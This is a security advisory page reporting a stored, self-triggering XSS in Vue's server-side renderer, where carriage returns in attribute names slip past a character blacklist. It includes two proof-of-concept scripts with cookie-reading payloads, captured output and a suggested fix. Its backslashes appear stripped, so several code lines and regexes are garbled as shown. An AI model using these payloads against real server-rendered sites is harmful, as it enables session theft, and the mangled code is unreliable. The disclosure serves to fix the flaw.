PT-2026-115372

Publicado

2026-10-05

·

Atualizado

2026-10-05

Descrição por

CVSS 3.1
7.2
Alta
MétricasAV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Description

@vue/server-renderer was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS.
ssrRenderAttrs() (in packages/server-renderer/src/helpers/ssrRenderAttrs.ts) is what compiled SSR output calls for something like <div v-bind="userObject">. It loops over the object's own keys and, for each one, renders it as an HTML attribute:
ts
export function ssrRenderDynamicAttr(
 key: string,
 value: unknown,
 tag?: string,
): string {
 if (!isRenderableAttrValue(value)) {
  return ``
 }
 const attrKey = ...
 if (isBooleanAttr(attrKey) || ...) {
  return includeBooleanAttr(value) ? ` ${attrKey}` : ``
 } else if (isSSRSafeAttrName(attrKey)) {
  return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"`
 } else {
  console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)
  return ``
 }
}
The value always goes through escapeHtml() -- that part is correctly and consistently applied everywhere in this file. But the attribute name (attrKey) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:
ts
// packages/shared/src/domAttrConfig.ts
const unsafeAttrCharRE = /[>/="'u0009u000au000cu0020]/

export function isSSRSafeAttrName(name: string): boolean {
 if (attrValidationCache.hasOwnProperty(name)) {
  return attrValidationCache[name]
 }
 const isUnsafe = unsafeAttrCharRE.test(name)
 if (isUnsafe) {
  console.error(`unsafe attribute name: ${name}`)
 }
 return (attrValidationCache[name] = !isUnsafe)
}
That blacklist covers: >, /, =, ", apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as r in JS).
That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every r not followed by into a before the tokenizer even starts. So a raw r sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap.
Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:
poc1

Prrof

The real, unmodified  ssrRenderAttrs()  from the published  @vue/server-renderer@3.5.41  package was tested. The source at HEAD and the upcoming  v3.6.0-rc.2  tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.
Full script, saved as poc.mjs (GitHub doesn't let me attach .mjs directly, so the complete file is here):
js
import { ssrRenderAttrs } from '@vue/server-renderer';
import { parseFragment } from 'parse5';

// This is exactly what compiled SSR output calls for `<div v-bind="userObject">`
// -- the real, unmodified, published ssrRenderAttrs function.
// Full attack chain: the key itself contains ONLY letters, digits, and a
// bare r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or
// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value
// is attacker-controlled JavaScript, delivered as the genuine value of the
// LAST r-separated fragment, which Vue's own template naturally appends via
// `="${escapeHtml(value)}"` immediately after the key.
const maliciousKey = 'xrautofocusronfocus';
const props = {
 [maliciousKey]: 'alert(document.cookie)',
};

const rawAttrString = ssrRenderAttrs(props);
console.log('=== Raw string produced by the real ssrRenderAttrs() ===');
console.log(JSON.stringify(rawAttrString));
console.log();
console.log('=== As it would literally appear in the HTML response ===');
console.log(rawAttrString.replace(/r/g, 'r').replace(/
/g, '

'));

const fullHtml = `<div${rawAttrString}>content</div>`;
console.log();
console.log('=== Full element HTML ===');
console.log(JSON.stringify(fullHtml));

// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5
// parser (the same parsing algorithm real browsers implement, including the
// r
 -> 
 input-preprocessing normalization step).
const fragment = parseFragment(fullHtml);
const div = fragment.childNodes.find(n => n.tagName === 'div');
console.log();
console.log('=== How a real HTML5 parser (parse5) actually interprets this ===');
console.log('Attributes parsed on the <div>:');
for (const attr of div.attrs) {
 console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);
}

const injectedHandler = div.attrs.find(a => a.name === 'onfocus');
const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');
console.log();
if (injectedHandler && injectedAutofocus) {
 console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***');
 console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);
 console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***');
} else {
 console.log('Not confirmed.');
}
This is a fresh npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5 -- the real, currently-published packages, not anything modified:
poc2
Real, captured output:
=== Raw string produced by the real ssrRenderAttrs() ===
" xrautofocusronfocus="alert(document.cookie)""

=== Full element HTML ===
"<div xrautofocusronfocus="alert(document.cookie)">content</div>"

=== How a real HTML5 parser (parse5) actually interprets this ===
Attributes parsed on the <div>:
 "x" = ""
 "autofocus" = ""
 "onfocus" = "alert(document.cookie)"

*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***
*** onfocus value: "alert(document.cookie)" ***
poc3 poc4
The single attribute name Vue intended to render safely -- xrautofocusronfocus -- gets parsed by any real browser as three separate things: an empty x attribute, a real autofocus boolean attribute, and a real onfocus="alert(document.cookie)" event handler. autofocus means the element receives focus automatically on page load, which fires the focus event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.
This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case ("foorbar" as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (foo="" and bar="..."), before building the full self-triggering payload above.
To go beyond the parser-level proof, there is a second script that calls the real ssrRenderAttrs(), captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as generate real poc.mjs:
js
import { ssrRenderAttrs } from '@vue/server-renderer';
import fs from 'fs';

// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed
// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,
// it is Vue's own function's real return value, captured programmatically.
const maliciousKey = 'xrsrcronerror';
const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' };

const vueOutput = ssrRenderAttrs(props);

console.log('=== Vue's real ssrRenderAttrs() returned exactly this string ===');
console.log(JSON.stringify(vueOutput));

// Build the full page around Vue's UNMODIFIED output -- the <img ...> tag
// content between the angle brackets is copied byte-for-byte from vueOutput,
// not retyped.
const html = `<!DOCTYPE html>
<html>
<head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head>
<body>
<h3>Everything inside the &lt;img&gt; tag below was written to this file
programmatically from the real return value of <code>ssrRenderAttrs()</code>
in the actual installed <code>@vue/server-renderer@3.5.41</code> package.
No HTML was hand-typed for the tag itself.</h3>
<p>Exact JSON-escaped string Vue's function returned (see generate real poc.mjs, run right before this file was written):</p>
<pre id="vue-output-proof">${vueOutput.replace(/</g, '&lt;')}</pre>
<hr>
<img${vueOutput}>
</body>
</html>
`;

const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';
fs.writeFileSync(outPath, html);
console.log('
Wrote', outPath);
console.log('Bytes inside the <img...> tag are Vue's real, unmodified return value.');
Opening that generated file in a real browser fires the payload automatically:
poc5
Dev tools on that same page confirm the browser genuinely parsed three separate attributes (x, src, onerror), matching the on-page proof text that was written directly from Vue's real return value:
poc6
Whether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM setAttribute() API, which validates the name against the HTML QName grammar and throws a DOMException for characters like " (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an @vue/server-renderer (SSR) issue.

Impact

This requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via v-bind="object" or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by escapeHtml(). Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario isSSRSafeAttrName() exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).
Where it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected autofocus/onfocus payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.

Suggested fix

Add U+000D (carriage return) to unsafeAttrCharRE in packages/shared/src/domAttrConfig.ts:
ts
const unsafeAttrCharRE = /[>/="'u0009u000au000cu000du0020]/
Double-checking against the full WHATWG "ASCII whitespace" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here.
Explorabilidade
Correção
Impactos
Fornecedores
Produtos afetados
Identificadores relacionados
GHSA-G2V6-RQMX-R4W6
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾